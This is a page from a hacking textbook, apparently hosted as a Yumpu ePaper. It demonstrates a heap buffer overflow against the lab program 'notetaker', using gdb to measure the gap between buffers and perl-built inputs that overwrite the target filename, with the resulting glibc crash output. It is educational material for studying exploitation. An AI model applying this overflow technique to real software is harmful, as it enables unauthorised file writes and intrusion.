16.01.2015 Views

Hacking

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

Under normal conditions, the buffer allocation is located at 0x804a008,<br />

which is before the datafile allocation at 0x804a070, as the debugging output<br />

shows. The distance between these two addresses is 104 bytes.<br />

reader@hacking:~/booksrc $ ./notetaker test<br />

[DEBUG] buffer @ 0x804a008: 'test'<br />

[DEBUG] datafile @ 0x804a070: '/var/notes'<br />

[DEBUG] file descriptor is 3<br />

Note has been saved.<br />

reader@hacking:~/booksrc $ gdb -q<br />

(gdb) p 0x804a070 - 0x804a008<br />

$1 = 104<br />

(gdb) quit<br />

reader@hacking:~/booksrc $<br />

Since the first buffer is null terminated, the maximum amount of data<br />

that can be put into this buffer without overflowing into the next should be<br />

104 bytes.<br />

reader@hacking:~/booksrc $ ./notetaker $(perl -e 'print "A"x104')<br />

[DEBUG] buffer @ 0x804a008: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'<br />

[DEBUG] datafile @ 0x804a070: ''<br />

[!!] Fatal Error in main() while opening file: No such file or directory<br />

reader@hacking:~/booksrc $<br />

As predicted, when 104 bytes are tried, the null-termination byte overflows<br />

into the beginning of the datafile buffer. This causes the datafile to<br />

be nothing but a single null byte, which obviously cannot be opened as a file.<br />

But what if the datafile buffer is overwritten with something more than just a<br />

null byte<br />

reader@hacking:~/booksrc $ ./notetaker $(perl -e 'print "A"x104 . "testfile"')<br />

[DEBUG] buffer @ 0x804a008: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtestfile'<br />

[DEBUG] datafile @ 0x804a070: 'testfile'<br />

[DEBUG] file descriptor is 3<br />

Note has been saved.<br />

*** glibc detected *** ./notetaker: free(): invalid next size (normal): 0x0804a008 ***<br />

======= Backtrace: =========<br />

/lib/tls/i686/cmov/libc.so.6[0xb7f017cd]<br />

/lib/tls/i686/cmov/libc.so.6(cfree+0x90)[0xb7f04e30]<br />

./notetaker[0x8048916]<br />

/lib/tls/i686/cmov/libc.so.6(__libc_start_main+0xdc)[0xb7eafebc]<br />

./notetaker[0x8048511]<br />

======= Memory map: ========<br />

08048000-08049000 r-xp 00000000 00:0f 44384 /cow/home/reader/booksrc/notetaker<br />

08049000-0804a000 rw-p 00000000 00:0f 44384 /cow/home/reader/booksrc/notetaker<br />

0804a000-0806b000 rw-p 0804a000 00:00 0<br />

[heap]<br />

b7d00000-b7d21000 rw-p b7d00000 00:00 0<br />

b7d21000-b7e00000 ---p b7d21000 00:00 0<br />

b7e83000-b7e8e000 r-xp 00000000 07:00 15444 /rofs/lib/libgcc_s.so.1<br />

b7e8e000-b7e8f000 rw-p 0000a000 07:00 15444 /rofs/lib/libgcc_s.so.1<br />

Exploitation 151

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!